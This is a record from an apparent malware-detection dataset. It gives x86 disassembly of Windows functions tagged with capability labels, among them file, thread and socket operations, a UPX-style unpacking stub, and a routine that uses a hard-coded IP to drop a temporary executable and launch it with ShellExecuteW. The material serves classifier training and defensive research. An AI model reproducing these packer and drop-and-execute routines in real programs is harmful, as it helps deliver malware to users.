joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4062d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428a40
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x4371bc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], vtable.CMitFile.0
mov dword [ebp - 0x20], 0
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
xor bl, bl
lea ecx, [ebp - 0x24]
cmp dword [ebp + 0x1c], 0x10
push closesocket
cmovae eax, dword [ebp + 8]
push 3
push eax
mov byte [ebp - 0xd], bl
call fcn.00402570
test eax, eax
je 0x4063c7
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push eax
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [ebp - 0x14], 0
jne 0x4063c0
mov ebx, dword [ebp - 0x18]
test ebx, ebx
jne 0x406370
mov dword [esi + 0x10], ebx
cmp dword [esi + 0x14], 0x10
jb 0x406369
mov esi, dword [esi]
mov byte [esi], 0
mov bl, 1
jmp 0x4063c0
push 0x437fc0
push ebx
call fcn.00410a91
add esp, 8
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4063bd
push 0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push ecx
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
mov ebx, dword [ebp - 0x14]
jne 0x4063b2
push eax
push ebx
mov ecx, esi
call fcn.00401710
mov byte [ebp - 0xd], 1
push 1
push ebx
call fcn.00410f2d
add esp, 8
mov bl, byte [ebp - 0xd]
test edi, edi
je 0x4063d5
push edi
jmp 0x4063cf
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4063d5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x4063ea
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00401d00
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428a70
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4371bc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], vtable.CMitFile.0
mov dword [ebp - 0x10], 0
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x14]
push 0x40000000
cmovae eax, dword [ebp + 8]
push 2
push eax
call fcn.00402570
mov edi, dword [ebp - 0x10]
test eax, eax
je 0x406486
cmp dword [esi + 0x14], 0x10
mov eax, dword [esi + 0x10]
jb 0x406470
mov esi, dword [esi]
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne bl
jmp 0x406488
xor bl, bl
test edi, edi
je 0x406493
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x4064a8
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00401d00
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4064c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4371bc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x406520
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4064e0
sub ecx, edx
lea ebx, [ecx + 1]
cmp ebx, 0x3fffffff
jg 0x406520
lea eax, [ebx + ebx]
call fcn.00411200
mov edi, esp
test edi, edi
je 0x406520
push ebx
push edi
push 0xffffffffffffffff
xor eax, eax
push esi
push eax
push 0x3a8
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb eax, eax
and eax, edi
jmp 0x406522
xor eax, eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
dec eax
neg eax
sbb eax, eax
inc eax
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004107d4
mov esp, ebp
pop ebp
ret

Function at 0x406550
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4371bc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.004064c0
test al, al
jne 0x406582
mov al, 1
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004107d4
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x4065d0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406590
sub ecx, edx
lea ebx, [ecx + 1]
cmp ebx, 0x3fffffff
jg 0x4065d0
lea eax, [ebx + ebx]
call fcn.00411200
mov edi, esp
test edi, edi
je 0x4065d0
push ebx
push edi
push 0xffffffffffffffff
xor eax, eax
push esi
push eax
push 0x3a8
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb eax, eax
and eax, edi
jmp 0x4065d2
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
dec eax
neg eax
sbb eax, eax
inc eax
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004107d4
mov esp, ebp
pop ebp
ret

Function at 0x4066f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x1c], 0
je 0x406703
xor eax, eax
pop esi
pop ebp
ret 4
lea eax, [esi + 0x20]
push eax
push dword [ebp + 8]
push esi
push 0x4066a0
push 0
push 0
call fcn.0041806b
xor ecx, ecx
mov dword [esi + 0x1c], eax
add esp, 0x18
test eax, eax
setne cl
mov eax, ecx
pop esi
pop ebp
ret 4

Function at 0x406730
Capabilities:
Suspend thread

Disassembly:
push dword [ecx + 0x1c]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x406750
Capabilities:
Resume thread

Disassembly:
push dword [ecx + 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x406bc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428b43
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x4371bc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [esi + 4]
mov dword [esi], vtable.CMitThread.0
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esi + 0x20]
mov dword [esi + 0x24], 0
push eax
push 4
push esi
push 0x4066a0
push 0
push 0
mov dword [esi + 0x1c], 0
mov dword [eax], 0
call fcn.0041806b
add esp, 0x18
mov dword [esi + 0x1c], eax
mov eax, dword [ebp + 0x20]
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x2c], eax
mov eax, dword [ebp + 0x24]
mov dword [esi], vtable.TUpdateThread.0
mov dword [esi + 0x28], 0
mov dword [esi + 0x30], eax
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x406c6c
mov eax, dword [ecx]
jmp 0x406c6e
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp + 8]
push 0
push eax
call fcn.00401a00
push 0xffffffffffffffff
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 3
push 0
lea eax, [ebp + 0x28]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00401a00
mov ax, word [ebp + 0x40]
mov word [esi + 0x64], ax
mov eax, dword [ebp + 0x1c]
cmp eax, 0x10
jb 0x406cc0
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.00401d00
mov ecx, dword [ebp + 0x3c]
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x406ce7
inc ecx
push ecx
push dword [ebp + 0x28]
lea ecx, [ebp + 0x28]
call fcn.00401d00
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x3c

Function at 0x40b240
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4289d6
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4371bc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004107ea
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0040f932
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c5f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x4371bc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push ebx
push esi
push edi
inc eax
mov si, dx
push 0x437fc0
push eax
call fcn.00410a91
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40c75a
push 0x40
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.00413760
mov edi, dword [ebp + 0x20]
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], si
cmp ax, si
jne 0x40c654
or edi, 0x8000000
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
push ebx
call fcn.004131e0
mov eax, dword [ebp + 0x18]
add esp, 0xc
mov byte [eax + ebx], 0
cmp dword [ebp + 0x34], 0
jne 0x40c67d
xor esi, esi
jmp 0x40c6c5
cmp dword [ebp + 0x38], 0x10
lea esi, [ebp + 0x24]
cmovae esi, dword [ebp + 0x24]
test esi, esi
je 0x40c6c5
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c691
sub ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 8], eax
cmp eax, 0x3fffffff
jle 0x40c6ab
xor esi, esi
jmp 0x40c6c5
add eax, eax
call fcn.00411200
mov ecx, esp
mov edx, esi
push 0x3a8
push dword [ebp - 8]
call fcn.00402490
mov esi, eax
mov ecx, ebx
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c6d0
sub ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 8], eax
cmp eax, 0x3fffffff
jg 0x40c717
add eax, eax
call fcn.00411200
mov eax, esp
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40c717
push dword [ebp - 8]
xor ecx, ecx
push eax
push 0xffffffffffffffff
push ebx
push ecx
push 0x3a8
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb eax, eax
and eax, dword [ebp - 0xc]
jmp 0x40c719
xor eax, eax
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push esi
push 0
push edi
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push ebx
mov edi, eax
call fcn.004107e5
add esp, 4
test edi, edi
je 0x40c755
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
test edi, edi
setne bl
jmp 0x40c75c
xor bl, bl
mov eax, dword [ebp + 0x1c]
cmp eax, 0x10
jb 0x40c771
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.00401d00
mov ecx, dword [ebp + 0x38]
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x40c798
inc ecx
push ecx
push dword [ebp + 0x24]
lea ecx, [ebp + 0x24]
call fcn.00401d00
mov al, bl
lea esp, [ebp - 0x6c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004107d4
mov esp, ebp
pop ebp
ret

Function at 0x40c7b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x4371bc]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
lea eax, [esp + 8]
mov esi, ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004107d4
mov esp, ebp
pop ebp
ret
Function at 0x40c800
Capabilities:
Create udp socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4294b8
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x4371bc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x3c], edx
mov ebx, ecx
push 0xffffffffffffffff
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
push 0
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x38], 0
call fcn.00401a00
cmp dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40c8eb
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.004131e0
mov eax, dword [ebp - 0x24]
add esp, 0xc
cmp eax, 0x10
jb 0x40c89a
inc eax
lea ecx, [ebp - 0x38]
push eax
push dword [ebp - 0x38]
call fcn.00401d00
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x40c900
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c900
push ebx
mov dword [ebp - 0x1c], esi
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, 2
push 0x10
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 0x20]
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.WS2_32.dll_sendto]
push edi
mov esi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x40c902
mov eax, dword [ebp - 0x24]
cmp eax, 0x10
jb 0x40c900
inc eax
lea ecx, [ebp - 0x38]
push eax
push dword [ebp - 0x38]
call fcn.00401d00
xor esi, esi
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40c917
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00401d00
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004107d4
mov esp, ebp
pop ebp
ret
Function at 0x40cab0
Capabilities:
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429549
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x4371bc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetNetworkParams]
push eax
push 0
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x2c], 0
call edi
cmp eax, 0x6f
jne 0x40cc74
push dword [ebp - 0x2c]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x30], ebx
test ebx, ebx
je 0x40cc74
lea eax, [ebp - 0x2c]
push eax
push ebx
call edi
test eax, eax
jne 0x40cc6d
lea eax, [ebx + 0x110]
push eax
lea ecx, [ebp - 0x28]
call fcn.00401890
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.00408320
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40cb8b
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00401d00
mov edi, dword [ebx + 0x10c]
test edi, edi
je 0x40cc6d
nop dword [eax]
cmp byte [edi + 4], 0
lea edx, [edi + 4]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
jne 0x40cbbf
xor eax, eax
jmp 0x40cbcd
mov eax, edx
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40cbc4
sub eax, ebx
push eax
push edx
lea ecx, [ebp - 0x28]
call fcn.00401710
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
cmp eax, dword [esi + 4]
jae 0x40cc23
mov eax, dword [esi]
lea ecx, [ebp - 0x28]
cmp eax, ecx
ja 0x40cc23
sub ecx, eax
mov eax, 0x2aaaaaab
imul ecx
mov eax, dword [esi + 4]
sar edx, 2
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp eax, dword [esi + 8]
jne 0x40cc12
push ecx
mov ecx, esi
call fcn.004096c0
mov eax, dword [esi]
lea ecx, [ebx + ebx*2]
lea eax, [eax + ecx*8]
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x40cc43
jmp 0x40cc3d
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
jne 0x40cc33
push ecx
mov ecx, esi
call fcn.004096c0
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x40cc43
lea eax, [ebp - 0x28]
push eax
call fcn.00401810
add dword [esi + 4], 0x18
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40cc60
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00401d00
mov edi, dword [edi]
test edi, edi
jne 0x40cba0
mov ebx, dword [ebp - 0x30]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004107d4
mov esp, ebp
pop ebp
ret
Function at 0x420266
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041ff14

Function at 0x419d30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x410015
lea edi, [esi - 0xf015]
push edi
or ebp, 0xffffffff
jmp 0x419d52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419d59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419d48
mov eax, 1
add ebx, ebx
jne 0x419d6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419d60
jne 0x419d7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419d60
xor ecx, ecx
sub eax, 3
jb 0x419d90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419e02
mov ebp, eax
add ebx, ebx
jne 0x419d9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419da8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419dcc
inc ecx
add ebx, ebx
jne 0x419db8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419dad
jne 0x419dc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419dad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x419dec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x419ddd
jmp 0x419d4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x419dec
add edi, ecx
jmp 0x419d4e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x419e0a
cmp byte [edi], 5
jne 0x419e0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x419e0f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419e87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x419e3c
mov ecx, edi
jns 0x419e6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x419e81
mov dword [ebx], eax
add ebx, 4
jmp 0x419e59
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419ebb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x401000
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.004039ca
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40110f
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004109e0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.004109e0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov esi, 0x431ca0
cmp word [esi], 0
je 0x4010ae
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040e968
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040e9d7
add esp, 0xc
add esi, 0x118
cmp esi, 0x432218
jl 0x401078
mov esi, 0x431ca0
cmp word [esi], 0
je 0x4010d3
push ebx
push edi
mov ecx, esi
call fcn.004041ac
add esp, 8
add esi, 0x118
cmp esi, 0x432218
jl 0x4010c1
push 0x432a70
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040e9d7
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40110d
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.0040e959
add esp, 0x41c
ret
Function at 0x4013e0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x431bd0
push 0x67
push esi
call edi
push 0x64
push 0x431b08
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401590
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x431bd0
push 0x431b08
push 0
mov dword [0x431c98], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401472
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040e959
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
call fcn.00402973
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call edi
call fcn.00401f80
test eax, eax
je 0x4014a3
call fcn.00403074
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00401a30
test eax, eax
je 0x40145a
test byte [0x43221c], 7
je 0x4014ba
call fcn.00401130
mov ecx, dword [0x4324f8]
test ecx, ecx
jbe 0x4014e4
cmp word [0x4324fc], 0
jbe 0x4014e4
mov esi, str.218.54.31.226
call fcn.0040379c
mov ax, word [0x4324fc]
mov word [0x42efac], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp4_X.exe
mov edx, 0x432a70
call fcn.00401c10
call fcn.00403800
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1a]
push eax
mov word [esp + 0x1c], dx
call fcn.004109e0
add esp, 0x14
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x432a70
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040e9d7
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401586
push 0x1f4
call edi
push 1
push 0
push 0x429324
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]